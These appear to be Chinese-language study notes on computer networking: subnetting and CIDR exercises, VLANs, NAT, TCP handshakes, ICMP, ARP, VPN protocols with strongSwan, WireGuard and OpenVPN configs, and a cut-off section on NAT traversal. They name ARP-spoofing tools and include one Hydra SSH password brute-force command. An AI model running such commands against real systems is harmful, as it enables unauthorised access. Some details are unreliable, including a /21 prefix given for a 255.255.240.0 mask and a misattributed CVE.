计算机网络
计算机网络
一、网络的认识
网络的概念:
计算机与计算机之间能互相通信就叫做一个网络,按照互相通信的计算机的范围大小又分为:局域网、城域网、广域网。
- 局域网就是某一区域的几台计算机之间互相通信的网络,比如:住宅,大学校园或办公大楼的网络
- 城域网范围明显比局域网大,可能是几个小区或者一个城镇。
- 广域网是指覆盖较大地理范围的网络,可涵盖不同城市、国家甚至全球范围。
互联网是什么?
互联网(Internet)是一个真实存在的网络,可以被归类于一种广域网。通常情况下,当我们说"上网"时,是指将我们的设备连接到互联网上。互联网是当今世界上最大的网络,不同国家之间都可以通过互联网通信,可以说几乎每一台设备都是互联网的一员。
外网和内网是什么?
外网和内网是一个相对的概念,它们的指代对象取决于特定的情景和背景,比如:
- 企业或组织的角度:外网是指该组织连接到全球互联网的部分,用于与外部世界通信和交流。企业可能通过外网提供服务、接收电子邮件、进行电子商务等。而企业内工作站、服务器、打印机等设备之间互相通信的局域网叫内网。
- 家庭或个人的角度:外网通常指的是公共互联网,即全球范围内通过互联网服务提供商(ISP)连接到的网络,用于访问网站、发送电子邮件、在线购物等活动。
以太网是一种技术,局域网使用的就是以太网技术使得计算机能互相通信。
报文格式
IP报文格式
ip头部为固定长度20个字节
二、如何连接网络
网络设备
家庭网络
当我们申请宽带服务时,网络运营商会将光线接入到我们的家庭中,然后安装光猫设备,光猫的作用为将光纤中的光信号转换为路由器、电脑等设备可识别的电信号。
光猫有几种接口:wan口负责连接路由器,当我们发现接收到的网络信号较弱时,就可以连接一个路由器,然后将路由器放置在离我们设备较近的位置。 lan口负责连接交换机
企业网络
家庭网络的特点是网络不稳定,而企业需要更稳定的网络,所以光线入户的规模更大,同时需要购买固定ip的服务。光猫需要先接入企业网关(可能是路由器或者防火墙),然后再接入三层交换机。
交换机
原理:
交换机收到数据帧后,在MAC地址表中添加数据帧中的源MAC地址与接收端口的对应关系;然后在MAC地址表中搜索目的MAC地址与端口对应关系,找到了则进行单播;没找到则对除源端口以外的端口进行广播;目标主机收到该广播帧后,会回应通信请求,交换机同时也会通过这个回应学习到目标主机的 MAC 地址对应的端口;MAC地址表中的记录过期时间默认为300s;
特点:
- 交换机分为二层交换机(数据链路层)和三层交换机(网络层)
- 交换机是离我们用户最近的设备啊,通过识别数据帧中的MAC地址来将数据发送到目标设备
- 交换机每一个接口默认在同一个网络(广播域)。
- 通过划分虚拟局域网(VLAN),隔离广播域。
- POE是基于局域网的供电系统,而POE交换机指能够给网线另一段设备供电的交换机。
路由器
- 路由器的每一个接口在不同网络,具有隔离网络的作用
- 路由器可以通过路由寻址连接不同网络
无线设备
- 无线控制器AC
- 无线接入点AP
- 胖AP可以独立连接设备
- 瘦AP必须有一个AC来管理
网络通讯
带宽与宽带
1.带宽
电磁波领域
带宽在多个领域都有相关的解释,最开始是在电磁波领域,表示电磁波频率的范围。比如可见光的频率在385-482Thz之间,那么它的带宽就是97Thz。
模拟信号领域
在模拟信号领域,带宽也是表示频率的范围。在模拟电路中常常用滤波器来过滤不同频率的信号,带宽率滤波器用来让频率在某个范围之内的信号通过,比如1000HZ到5000HZ,那么带宽就是4000HZ。
数字信号领域
在网络中,我们常见到一些bps单位(bps,Kbps,Mbps),它表示网络在每秒能中传输的比特数据量。比如1Mbps表示一秒中能够传输1兆比特的数据。
2.宽带
宽带是上世纪90年代才流行起来的名词,字面意思就是比较"宽"的带宽。也就是说宽带并不是一个具体的量词,而是一类带宽的代称。我国把低于4Mbps的带宽称为窄带,而高于4Mbps的带宽称为宽带。而现在我们常说的100M宽带、1000M宽带指的就是网络带宽为100Mbps、1000Mbps。
网速
网速是一个实际数据,指的是我们使用的网络实际上传、下载的速率。带宽指的是最大传输速率,是理论最大值,两者不是同一概念。
单播、广播、多播(组播)
简单理解如下:
- 一台机器和一台机器通信这是单播。
- 一台机器发出的数据包能被多台机器收到这就叫组播。
- 一台机器发出的数据包能被一个网段的机器收到这叫广播。
1.单播
单播是说,对特定的主机进行数据传送。如:给一个主机发送IP数据包,数据链路层会给出网卡的MAC地址(除了FF-FF-FF-FF-FF-FF这个地址之外的MAC地址)
1.具有路由功能的主机可以将单播数据定向转发。
2.目的主机的网络接口则可以过滤掉和自己MAC地址不一致的数据。
2.广播
广播是主机针对某一个网络上的所有主机发送数据包。广播所用的MAC地址FF-FF-FF-FF-FF-FF。网络内所有的主机都会收到这个广播数据,网卡只要把 MAC地址为FF-FF-FF-FF-FF-FF的数据交给内核就可以了。一般说来ARP,或者路由协议RIP应该是以广播的形式播发的。
3.组播
组播(Multicast)是一种一对多或多对多的网络通信方式,允许单个发送者将数据同时传输给一组指定的接收者,而非所有设备(广播)或单个设备(单播)。它广泛应用于需要高效分发相同数据的场景(如视频直播、在线会议、金融行情推送等)。
组播 vs 单播 vs 广播
| 特性 | 单播(Unicast) | 广播(Broadcast) | 组播(Multicast) |
|---|---|---|---|
| 目标设备 | 1个特定设备 | 同一网络的所有设备 | 加入同一组播组的一组设备 |
| 带宽占用 | 高(数据重复传输) | 高(全网泛洪) | 低(数据仅复制到必要链路) |
| 适用场景 | 点对点通信(如网页访问) | 局域网发现(如ARP) | 大规模一对多分发(如视频直播) |
| 网络压力 | 随接收者数量线性增长 | 固定(全网泛洪) | 与接收者分布无关 |
| 安全性 | 高(定向传输) | 低(所有设备接收) | 中(仅组内成员接收) |
发送端的IP设置在一个范围内都算组播,这个范围是224.0.0.0~239.255.255.255
子网
概念
按照子网划分获得的ip地址有一个子网掩码,比如:255.255.255.0。当ip1 &(按位与) 子网掩码 =ip2 & 子网掩码 时,我们称ip1和ip2在同一子网 。
特点
不同子网之间无法直接通讯,如果要通讯,必须通过网关转发。网关的两张网卡分别位于两个子网中,所以可以在两个子网中转发数据。
VLSM
可变长子网掩码技术用于最大限度节省ip地址,属于无类地址(有类地址就是A、B、C、D类地址)
块大小:划分子网后,划分字节的增量大小,比如192.168.1.0/24划分1位,划分字节为第四个字节,划分位数位1,则块的增量为128。
CIDR
无类别域间路由(Classless Inter-Domain Routing, CIDR)是一种用于在互联网上创建独立的IP地址分配策略的方法。这种方法允许更细粒度的IP地址分配,从而提供了比传统的IP地址类A、B、C更高效的使用。
汇总地址:汇总也叫聚合,是将分类网络中的子网合并,让路由选择协议能够用一个地址通告众多网络,可以在一定程度上避免广播风暴。
计算汇总地址:从第一个字节开始找出ip地址中变化的部分,然后根据变化范围确定块大小,按照256-块大小=掩码,获取子网掩码,然后得到网络地址(汇总地址)。
例子:
网络192.168.16.0~192.168.31.0,计算过程:
1、首先计算块大小
这是个C类网络,网络192.168.16.0到192.168.31.0共有31-16+1=16个C类网络,使用块大小16刚好可以满足需求,
需知:网络的块大小只能是 2、4、8、16、32、64、128,也就是2的1次方、2的2次方、2的三次方直到2的7次方为止;
2、根据已知的块大小计算网络地址和子网掩码
子网掩码:256 - 块大小 = 子网掩码, 256 - 16 = 240,所以子网掩码可以确定是255.255.240.0 (11111111.11111111.11110000.00000000)
子网划分:共可划分出2的4次方等于16个子网, 每个子网有2的4次方等与16个IP地址,其中合法IP地址有16-2=14个(减去1个网络号和1个广播号)
网络地址中的第3个字节依次为0、16、32、48、64、80、96、112、128、144、160、176、192、208、224、240
网络地址为:192.168.0.0
192.168.16.0
192.168.32.0
192.168.48.0
~~~~~
192.168.240.0
3、确定汇总地址
用于通告汇总地址的网络地址总是块中的第一个网络地址,根据网络192.168.16.0~192.168.31.0,正好网络地址192.168.16.0可以满足路由汇总的要求,
所以确定汇总地址和子网掩码为:192.168.16.0 255.255.240.0,即192.168.16.0/21
CIDR vs VLSM
- CIDR是把几个标准网络合成一个大的网络
- VLSM是把一个标准网络分成几个小型网络(子网)
习题
1.网络 120.26.0.0/18 下可以划分多少个 IP 配置给主机
答:
2.某主机的 IP 为 120.26.57.7/23,则其属于的网络 IP 为多少
答:若要求 120.26.57.7/23 所处的网络,只需要将其主机号全置为 0,得到的 IP 即为网络 IP。因此将 120.26.57.7 转化为二进制有:
| 十进制 | 二进制 | |
|---|---|---|
| 主机 IP | 120.26.57.7/23 | 0111 1000 0001 1010 0011 1001 0000 0111 |
| 网络 IP | 120.26.56.0/23 | 0111 1000 0001 1010 0011 1000 0000 0000 |
如上表,其所属网络 IP 为 120.26.56.0/23
3.利用CIDR(无类别域间路由)技术将IP地址段:192.168.46.0~192.168.53.0,聚合为一个网络。
答:比较边界部分:
- 192.168.46.0:
11000000.10101000.00101110.00000000 - 192.168.53.0:
11000000.10101000.00110101.00000000
前19位相同,所以掩码为/19,也就是255.255.224.0,块大小为:256-224=32,计算聚合地址:32x1=32最接近192.168.46.0
所以聚合地址为:192.168.32.0/19
4.使用CIDR技术把4个C类网络220.117.12.0/24、220.117.13.0/24、220.117.14.0/24和220.117.15.0/24汇聚成一个超网。
答:同上(简写:只比较第三个字节):
- 220.117.12.0:
0000 1100 - 220.117.13.0:
0000 1101 - 220.117.14.0:
0000 1110 - 220.117.15.0:
0000 1111
掩码为/22,即255.255.252.0,块大小为:256-252=4,计算聚合地址:4x3=12最接近220.117.12.0
所以聚合地址为:220.117.12.0/22
VLAN
原理:
- 当数据帧从主机的Access端口进入交换机时,交换机会根据端口的PVID(Port VLAN ID)为数据帧打上对应的VLAN标签(如VLAN 10)。
- 若数据帧从Trunk端口进入(如跨交换机场景),则保留原有的VLAN标签。
- 交换机会检查数据帧的目标MAC地址,并查询其MAC地址表,确认目标设备所在的端口及VLAN信息。
- 若目标MAC存在于同一VLAN的端口中,则直接转发;若未找到,则向该VLAN内的所有端口广播
- 如果出口是Access端口,交换机移除VLAN标签,发送原始以太网帧。
- 如果出口是Trunk端口,保留VLAN标签,通过Trunk链路传递到其他交换机。
路由
概念
我们知道子网通讯的方式有两种,一种是在同一子网下,直接从网卡a发送到网卡b。另一种是在不同子网下,可以通过网关通讯,网卡a发送给网关,网关通过路由表查询,并从相应的网卡发送给网卡b。这种判断通讯的方式就是路由。
路由器
路由器有多个LAN口和一个WAN口,LAN口上的设备都在同一子网下,而WAN口连接着互联网。路由器就充当着网关的职责,让LAN口的内网能够访问互联网。
SNAT源地址转化技术
我们看到大多数家庭网络都有着相似的ip,比如192.168.90.2。一旦ip冲突,在访问互联网时就会造成arp表混乱。SNAT技术就是解决该问题的办法,通过路由器发送到互联网的ip会转换成没有冲突的新ip进行通讯。
DNAT:和SNAT相反,公网想要访问内网时,DNAT把公网ip转换成内网ip进行通讯。
ip报文
ip包分片
IP协议在传输数据包时会将数据报文分成若干片进行传输,并在目标系统中进行重组。这以过程就成为分片。
如果IP数据报加上数据帧头部后大于MTU,数据报文就会分成若干片进行传输。那么什么是MTU呢?每一种物理网络都会规定链路层数据帧的最大长度,称为链路层MTU。在以太网的环境中可传输的最大IP报文为1500字节。如果要传输的数据帧的大小超过1500字节,即IP数据报的长度大于1472(1500-20-8=1472,普通数据报)字节,需要分片之后进行传输。
三、OSI七层模型
七层模型介绍
- 应用层:进程信息交换
- 表示层:二进制数据处理转换
- 会话层:建立/管理/终止会话
- 传输层:传输协议(TCP/UDP)、端口、数据段
- 网络层:ip路由、数据包
- 数据链路层:mac地址、校验修正、帧
- 物理层:比特
TCP/IP四层模型
OSI七层参考模型是理论上的网络通信模型,而我们在实际的互联网络中使用的是TCP/IP四层模型,它们的对应关系如下:

TCP包头
wirshark抓包,对应关系

TCP三次握手与四次挥手
三次握手是为了建立一个可靠的连接,此过程可参考下图:

-
第一次握手: 建立连接时,客户端发送SYN包(序列号seq=a)到服务器,并进入SYN_SENT状态,等待服务器确认;
- SYN:同步序列编号(Synchronize Sequence Numbers)。

-
第二次握手: 服务端返回一个ACK(对客户端连接请求的应答)+SYN(表示服务端发起连接请求),并且包含服务端的一个初始序列号seq=b,同时返回一个确认号ack=a+1,此时服务器从LISTEN(监听状态)状态变成SYN_RECV状态;
- ACK:确认字符(Acknowledgement),在数据通信中,接收站发给发送站的一种传输类控制字符。表示发来的数据已确认接收无误。

-
第三次握手:客户端给服务端返回一个ACK(对服务端连接请求的应答),并更新自己的序列号seq=a+1,返回一个确认号ack=b+1,此包发送完毕,客户端和服务器进入ESTABLISHED(TCP连接成功)状态。
-
完成三次握手后,客户端与服务器开始传送数据。
四次挥手用于终止TCP连接,断开一个TCP连接需要客户端和服务端总共发送4个包,以确认连接的断开。此过程可参考下图:

- 第一次挥手: 客户端(也可能是服务端先发)发送一个FIN,序列号为M,用来关闭客户到服务器的数据传送,并进入FIN_WAIT_1状态。
- 第二次挥手: 服务器收到客服端的FIN,发回一个ACK,ack=M+1。和SYN一样,一个FIN将占用一个序号。 服务器端进入CLOSE_WAIT状态。
- 第三次挥手: 服务器发送一个FIN,用来关闭服务器到客户端的数据传递,服务器端进入LAST_ACK状态。
- 第四次挥手: 客户端收到服务器的FIN后,进入TIME_WAIT状态; 客户端发送一个ACK给服务器,确认序号为收到序号+1,Server进入CLOSED状态,完成四次挥手。
数据封装
网络层ip包头:(数字是指该字段在IP数据包头信息中所占的位(bit)数)

我们会看到IP包头中有待选加入的字段,所以IP包头不一定就是20个字节。IPV4在解包检测时需要判断包头的长度,比较浪费时间,这也是它比IPV6慢的原因
网络层协议
ICMP
- 用途:ICMP(互联网控制报文协议)主要用于在网络设备间传递各种差错和控制信息,并对于收集各种网络信息、诊断和排除各种网络故障等方面起着至关重要的作用。
- 指令:
ping、traceroute(或在Windows上是tracert) - 渗透关联:
- Smurf攻击:伪造源IP广播ICMP请求,引发反射放大DDoS
- ICMP隧道:隐蔽传输数据(绕过防火墙)
- ICMP重定向:
ICMP数据包格式:Type表示ICMP消息类型,Code表示同一消息类型中的不同信息。
消息类型和编码类型:
| 类型 | 编码 | 描述 |
|---|---|---|
| 0 | 0 | Echo Reply |
| 3 | 0 | 网络不可达(Network Unreachable) |
| 3 | 1 | 主机不可达(Host Unreachable) |
| 3 | 2 | 协议不可达(Protocol Unreachable) |
| 3 | 3 | 端口不可达(Port Unreachable) |
| 5 | 0 | 重定向(Redirect for network) |
| 8 | 0 | Echo Request |

ping命令的icmp协议过程
- 发送请求:
- 当用户执行
ping <目标IP>时,计算机会生成一个ICMP Echo请求报文(类型为8,代码为0)。 - 报文头中包含源IP地址、目标IP地址、序列号、标识符和一些用于验证的数据字段。
- 当用户执行
- 路由传输:
- ICMP Echo请求包通过网络设备(如路由器)逐跳传输,直到到达目标主机。
- 接收并响应:
- 目标主机收到ICMP Echo请求后,会生成一个ICMP Echo回复报文(类型为0,代码为0),将其发送回源主机。
- 返回响应:
- 源主机收到ICMP Echo回复后,显示响应时间、TTL值等信息,表示目标主机的连通性。
- 结束:
- 如果目标主机不可达或请求超时,源主机会显示错误信息(如“请求超时”或“目标不可达”)
IPSec(互联网协议安全)
用途:
- 为 IP 数据包提供 端到端的安全性,包括加密、数据完整性验证和身份认证。
- 广泛用于 VPN、远程访问和企业网络互联。
实现方式:
- 包含两个核心协议:
- AH(认证头):确保数据完整性和来源认证(不加密)。
- ESP(封装安全载荷):提供加密、完整性验证和认证。
- 支持两种模式:
- 传输模式:仅加密数据部分(IP 载荷),用于端到端通信。
- 隧道模式:加密整个 IP 包(包括头部),用于网关间通信(如 VPN)。
- 使用 IKE(互联网密钥交换)协议 动态协商密钥和安全参数(如加密算法)。
优势:独立于应用程序,对上层透明,适合保护所有 IP 流量。
数据链路层协议
ARP
ARP工作原理:
ARP(地址解析协议)是一个 数据链路层 的协议,它的作用是在同一子网内,通过 IP 地址解析到对应的 MAC 地址。具体来说,当一个设备想要发送数据到局域网内的另一个设备时,它会首先检查自己的 ARP 缓存,如果没有目标设备的 MAC 地址,它会发送一个 ARP 请求来查询目标设备的 MAC 地址。
特点:
-
注意arp不能跨越路由
- ARP 请求是广播的,会在局部网络中传播。只有在相同子网内的设备会响应这个 ARP 请求。
- ARP 响应是单播的,只有目标设备会向请求者返回自己的 MAC 地址。
-
相关指令:
- arp:用于显示或修改设备的ARP缓存表。
- 示例:
arp -a(查看ARP缓存,显示IP和MAC地址映射)
- 示例:
- arp:用于显示或修改设备的ARP缓存表。
攻击方式:
常见的ARP攻击方式包括ARP欺骗、中间人攻击、ARP缓存中毒、拒绝服务攻击(DoS)和缓存溢出攻击等。为了防范这些攻击,可以采取一些安全措施,如启用动态ARP检测(DAI)、静态ARP表、使用加密协议等。
ARP欺骗:
- 原理:ARP欺骗是一种常见的网络攻击方式,攻击者通过向网络中的设备发送伪造的ARP消息,欺骗受害设备将其IP地址与攻击者的MAC地址关联,从而将数据流量转发给攻击者。
- 攻击目标:通常目标是获取到数据包的控制权,可以进行嗅探、窃听、流量劫持等操作。
- 步骤:
- 攻击者向网络中的主机发送伪造的ARP响应,使受害者的ARP缓存表中将攻击者的MAC地址与合法设备的IP地址关联。
- 攻击者可以伪装成网关或目标主机,通过中间人(MITM)进行流量监听、篡改或转发。
- 影响:
- 数据包被转发到攻击者机器,攻击者可以查看、篡改或丢弃数据包。
- 可以实现会话劫持、敏感数据嗅探等。
- 相关工具:
- arpspoof:一个简单的ARP欺骗工具。
- Ettercap:一个支持ARP欺骗和中间人攻击的工具。
- Cain & Abel:Windows平台上的ARP欺骗和密码嗅探工具。
- 防范措施:
- 使用静态ARP表,确保IP-MAC映射不被篡改。
- 使用ARP防护功能,如动态ARP检测(DAI技术,思科设备)。
- 在网络中使用加密协议(如HTTPS、SSH)来保护数据
PPTP(点对点隧道协议)
用途:
- 用于创建 VPN 隧道,允许远程用户通过公共网络(如互联网)安全访问私有网络。
- 提供基本的身份验证和数据封装功能,但自身加密较弱(依赖 MPPE)。
实现方式:
- 基于 PPP(点对点协议),在数据链路层封装数据帧。
- 使用 GRE(通用路由封装) 协议在 IP 数据包中封装 PPP 帧。
- 通过 TCP 端口 1723 建立控制通道,GRE 传输数据。
- 支持 MPPE(Microsoft 点对点加密) 提供加密(安全性低于 IPSec)。
现状:因安全性不足,逐渐被 L2TP/IPSec 取代。
L2TP(第二层隧道协议)
用途:
- 创建 VPN 隧道,支持多协议传输(如 PPP、IP、以太网帧)。
- 本身不提供加密,需与 IPSec 结合实现安全性。
实现方式:
- 结合了 PPTP 和 L2F(第二层转发协议)的特性。
- 使用 UDP 端口 1701 进行通信,封装 PPP 数据帧。
- 隧道建立后,依赖 IPSec 进行加密和完整性验证(即 L2TP/IPSec 组合)。
- 支持 NAT 穿透,适合复杂网络环境。
关键特点:分离隧道建立(L2TP)与安全功能(IPSec),灵活性高。
应用层协议
SSH(安全外壳协议)
- 描述: 提供安全的远程登录功能,并加密数据传输。
- 默认端口:22
- 工具:
- 登录服务端指令:
ssh user@hostname(如:ssh root@192.168.90.5)
- 登录服务端指令:
- 攻击方式:
- Hydra是一个快速的网络密码破解工具,可以用来测试SSH密码的强度。
hydra -l user -P /path/to/passwords.txt ssh://hostname
SNMP (简单网络管理协议)
SNMP(简单网络管理协议)是一种应用层协议,广泛用于网络设备(如路由器、交换机、打印机、服务器等)进行管理和监控。它允许网络管理员监控设备的状态、性能,执行配置管理和故障排除。
SNMP 的工作原理
SNMP 是基于客户端-服务器模型的协议,通常包括三个主要的组成部分:
- 管理系统(Manager):通常是网络管理工具或应用程序,负责发送请求以收集信息和管理设备。
- 代理(Agent):运行在网络设备上,负责响应管理系统的请求,并提供设备的状态信息。
- 管理信息库(MIB, Management Information Base):是一个数据库,定义了设备的管理信息和可以被访问的数据。它描述了设备状态、性能、配置等。
SNMP 使用的端口
SNMP 使用以下端口进行通信:
- 端口 161:这是 SNMP 的标准端口,用于代理(设备)接收 SNMP 请求。
- 端口 162:这是用于接收 SNMP Trap(陷阱)消息的端口。SNMP Trap 是设备主动向管理系统报告事件或异常的一种方式。
SNMP 的版本
SNMP 有多个版本,每个版本的功能和安全性有所不同:
- SNMPv1:最早的版本,功能较简单,安全性较弱,仅依赖简单的社区字符串(类似密码)进行认证。
- SNMPv2c:相比 SNMPv1,引入了一些性能优化和功能改进,但仍然使用简单的社区字符串认证,安全性同样较低。
- SNMPv3:具有更强的安全性,支持认证、加密,适用于需要较高安全性的环境。
在 Linux 或类 Unix 系统中,你可以使用 snmpget 和 snmpwalk 等工具来与 SNMP 设备交互。
snmpget -v 2c -c public 192.168.1.1 .1.3.6.1.2.1.2.2.1.10.1
snmpwalk -v 2c -c public 192.168.1.1
SMTP(简单邮件传输协议)
SMTP 负责将电子邮件从发送方的邮件服务器传递到接收方的邮件服务器或其他中继邮件服务器。SMTP 位于 OSI 模型的 应用层,它依赖于传输层的协议(如 TCP)来确保邮件可靠传输。
SMTP 使用的标准端口有两个:
- 端口 25:用于传统的 SMTP 服务(主要用于服务器间的邮件传输)。该端口通常用于邮件服务器之间的通信,但在许多网络中,因安全问题,ISP(互联网服务提供商)可能会阻止此端口的外部流量。
- 端口 587:用于客户端向邮件服务器的邮件发送。这是 SMTP 的 邮件提交 端口,通常用于发送邮件时的身份验证。
使用命令行发送邮件(举例)
#连接到 SMTP 服务器
telnet smtp.gmail.com 587
#使用 EHLO 命令与服务器建立会话:
EHLO yourdomain.com
#启动加密(如果使用端口 587 或 465,通常需要启用 STARTTLS)
STARTTLS
#输入你的邮箱账号和密码进行身份验证,编辑邮件
MAIL FROM: <your-email@gmail.com>
RCPT TO: <recipient@example.com>
DATA
Subject: Test Email
Hello, this is a test email.
.
#使用 QUIT 命令断开连接
QUIT
window下启用 Telnet 客户端
在 Windows 系统中,默认情况下 telnet 命令并没有启用,而是需要手动安装并启用。
- 打开控制面板:
- 按 Windows 键 + R,然后输入
control,按下 Enter 键。- 进入“程序”设置:
- 在控制面板中,点击 “程序”,然后选择 “启用或关闭 Windows 功能”。
- 启用 Telnet 客户端:
- 在弹出的窗口中,找到 Telnet 客户端 选项,勾选该选项。
- 点击 确定,Windows 会开始安装 Telnet 客户端。
POP3(邮局协议 3)
POP3(邮局协议 3)是一种应用层协议,用于从邮件服务器下载电子邮件到本地客户端。它设计上是为了让用户能够从远程服务器读取并下载电子邮件,并将邮件存储到本地计算机上。
POP3 使用的端口
- 端口 110:这是 标准 POP3 的默认端口,用于非加密的通信。
- 端口 995:这是 POP3S(POP3 over SSL)使用的端口,用于加密连接,提供更安全的通信方式。
POP3 和 POP3S 区别
- POP3(端口 110)是未加密的。
- POP3S(端口 995)则通过 SSL/TLS 提供加密通信,以确保数据传输的安全性。
可以使用 telnet 或 OpenSSL(如果启用了 POP3S)来手动与 POP3 服务器交互。
#建立连接
telnet pop.yourmailserver.com 110
#输入以下命令与服务器交互
USER your-email@example.com # 输入你的邮箱地址
PASS your-password # 输入你的密码
LIST # 列出邮箱中的邮件
RETR 1 # 下载第 1 封邮件
DELE 1 # 删除第 1 封邮件
QUIT # 退出连接
#使用openssl
openssl s_client -connect pop.yourmailserver.com:995
#POP3 命令同上
SMB(服务器消息块协议)
SMB协议由微软开发,用于在局域网中实现文件、打印机和其他资源的共享。它是Windows操作系统的核心组成部分,但也可通过如Samba等第三方软件实现在其他操作系统上的兼容性。
CIFS(通用互联网文件系统)协议是SMB协议的加强版,CIFS 使用客户/服务器模式,常用于互联网上的文件共享。
常用端口
139,445
安全风险
历史上的多次漏洞:
- 永恒之蓝:影响SMBv1和SMBv2,被用于WannaCry勒索软件,允许远程代码执行。
- CVE-2021-34527:影响SMB客户端,允许权限提升。
- SMB Relay攻击:滥用SMB的会话转递机制,劫持用户会话,实施中间人攻击。
SMB协议在局域网中扮演重要角色,提供丰富的共享功能,但存在复杂性和安全漏洞。通过及时更新和适当的安全措施,可以有效降低风险,保障网络安全。SMB的发展持续改进,特别是SMB3及以上版本,提供了更高的安全性和性能,值得在现代网络中继续使用。
LDAP
LDAP 的全称是 Lightweight Directory Access Protocol,「轻量目录访问协议」。LDAP是一个协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容。而 「LDAP 协议的实现」,有着众多版本,比如:AD( Active Directory,活动目录)是微软对LDAP协议的一个实现,它实现了我们在windows上熟悉的域功能。
四、VPN
VPN 是什么?
VPN(Virtual Private Network,虚拟专用网络) 是一种通过公共网络(如互联网)建立 加密通信隧道 的技术,使得用户或设备可以像在私有网络中一样安全地传输数据。其核心是通过 加密 和 隧道协议,在不可信的网络中创建一个逻辑上的“专用通道”。
关键特性
- 加密:数据在传输前被加密,防止窃听(如使用 AES-256)。
- 隧道化:将原始数据包封装在另一个协议中传输(如 L2TP/IPSec 或 OpenVPN)。
- 身份验证:确保通信双方合法(如证书、预共享密钥)。
- IP 伪装:隐藏真实 IP,保护隐私。
VPN 的用途
| 用途 | 说明 |
|---|---|
| 远程安全访问 | 员工通过 VPN 连接到公司内网,访问内部资源(如文件服务器、数据库)。 |
| 数据隐私保护 | 在公共 Wi-Fi 中加密流量,防止黑客窃取敏感信息(如网银、登录凭证)。 |
| 绕过地理限制 | 通过 VPN 切换 IP 地址,访问地区限制的内容(如流媒体、网站)。 |
| 站点到站点互联 | 连接两个物理隔离的局域网(如总部与分支机构),形成统一网络。 |
| 匿名上网 | 隐藏真实 IP 地址,保护用户身份(需配合无日志记录的 VPN 服务商)。 |
Windows 系统配置 VPN
图形界面:
- 打开
设置 > 网络和 Internet > VPN > 添加 VPN 连接。 - 选择 VPN 类型为 PPTP,输入服务器地址、用户名和密码。
- 连接后通过数据链路层建立隧道。

命令行(可选):
# 使用 PowerShell 创建 PPTP VPN 连接
Add-VpnConnection -Name "MyPPTP" -ServerAddress "vpn.example.com" -TunnelType Pptp
# L2TP需要输入预共享密钥(PSK)
Add-VpnConnection -Name "MyL2TP" -ServerAddress "vpn.example.com" -TunnelType L2tp -L2tpPsk "shared_key"
两台机器通过 VPN 通信的步骤
假设有两台机器:机器A(客户端) 和 机器B(VPN 服务器),目标是让机器A通过 VPN 安全访问机器B所在的网络。
步骤 1:选择协议与工具
- 推荐协议:L2TP/IPSec(兼顾安全性和易用性)或 WireGuard(更轻量高效)。
- 工具:
- Windows/macOS:操作系统内置 VPN 客户端。
- Linux:使用
strongSwan或Libreswan配置服务器端。 - 跨平台:OpenVPN(需安装客户端软件)。
步骤 2:配置 VPN 服务器
(机器B)
以 Linux(Ubuntu)使用 strongSwan 为例:
-
安装 strongSwan:
sudo apt update sudo apt install strongswan -
配置 IPSec 参数(编辑
/etc/ipsec.conf):conn myvpn authby=secret left=%defaultroute # 服务器公网 IP 或默认接口 leftsubnet=10.0.0.0/24 # 服务器所在局域网网段 right=%any # 允许任何客户端连接 rightsubnet=192.168.1.0/24 # 客户端局域网网段(可选) auto=add ike=aes256-sha256-modp2048 esp=aes256-sha256 -
设置预共享密钥(编辑
/etc/ipsec.secrets):%any : PSK "your_shared_secret_here" # 替换为高强度密钥 -
启动服务:
sudo systemctl restart strongswan sudo systemctl enable strongswan
步骤 3:配置 VPN 客户端
(机器A)
以 Windows 10 为例:
- 图形界面配置:
- 进入
设置 > 网络和 Internet > VPN > 添加 VPN 连接。 - 填写以下信息:
- VPN 类型:L2TP/IPSec
- 服务器地址:机器B的公网 IP 或域名
- 预共享密钥:
your_shared_secret_here - 用户名/密码:由服务器端分配(如需身份验证)。
- 进入
- 连接测试:
- 点击连接,若成功,机器A将获得 VPN 服务器分配的 IP(如
10.0.0.100),并可通过该 IP 访问机器B所在局域网的资源。
- 点击连接,若成功,机器A将获得 VPN 服务器分配的 IP(如
步骤 4:验证通信
-
从机器A Ping 机器B的局域网 IP:
ping 10.0.0.1 # 假设机器B的局域网 IP 是 10.0.0.1 -
访问机器B的共享服务:
- 通过浏览器或文件资源管理器访问
\\10.0.0.1\shared_folder(Windows)或smb://10.0.0.1(macOS)。
- 通过浏览器或文件资源管理器访问
其他实现方式(简化版)
方案 1:使用 WireGuard
(更现代的选择)
-
安装 WireGuard(Linux 服务器):
sudo apt install wireguard wg genkey | sudo tee /etc/wireguard/private.key sudo cat /etc/wireguard/private.key | wg pubkey | sudo tee /etc/wireguard/public.key -
配置服务器端(
/etc/wireguard/wg0.conf):[Interface] Address = 10.0.0.1/24 PrivateKey = <服务器私钥> ListenPort = 51820 [Peer] PublicKey = <客户端公钥> AllowedIPs = 10.0.0.2/32 -
客户端配置(Windows 使用官方客户端):
- 生成密钥对,填写服务器公钥、IP 和端口,连接即可。
方案 2:使用 OpenVPN
-
服务器端:
sudo apt install openvpn easy-rsa make-cadir ~/openvpn-ca # 生成证书* cd ~/openvpn-ca && ./build-ca # 交互式创建 CA ./build-key-server server # 生成服务器证书 ./build-key client1 # 生成客户端证书 -
客户端:
- 导入
.ovpn配置文件,输入证书和密钥即可连接。
- 导入
关键注意事项
- 安全性:
- 避免使用 PPTP(已过时),优先选择 L2TP/IPSec、WireGuard 或 OpenVPN。
- 使用强加密算法(如 AES-256)和复杂预共享密钥。
- 网络配置:
- 确保服务器防火墙开放 VPN 协议端口(如 IPSec 的 UDP 500/4500,WireGuard 的 UDP 51820)。
- 若服务器在 NAT 后,需配置端口转发。
- 日志与隐私:
- 如需完全匿名,选择无日志记录的第三方 VPN 服务商(如 ProtonVPN、Mullvad)。
五、内网穿透
什么是内网穿透?
定义
内网穿透是一种技术,允许外部网络直接访问内部网络中的资源,通常用于跨越NAT(网络地址转换)或防火墙的限制。这种技术常用于企业环境中,以便外部用户或系统能够访问内部服务器、数据库或其他服务。
实现方式
内网穿透通常通过配置路由器或防火墙来允许特定流量通过。有时需要使用VPN(虚拟专用网络)来建立加密通道,确保内部网络的安全访问。此外,还可以使用反向代理或SSH隧道等方法来实现内网穿透。
技术多样性:
- 端口转发(Port Forwarding):通过路由器将外网端口映射到内网设备。
- 反向代理(如Ngrok、FRP):借助中间服务器中转流量。
- P2P穿透(如WebRTC、ZeroTier):通过直接建立点对点连接绕过NAT。
- VPN(如OpenVPN、Tailscale):构建虚拟专用网络,将外网设备"接入"内网。
- ......
端口转发技术
定义
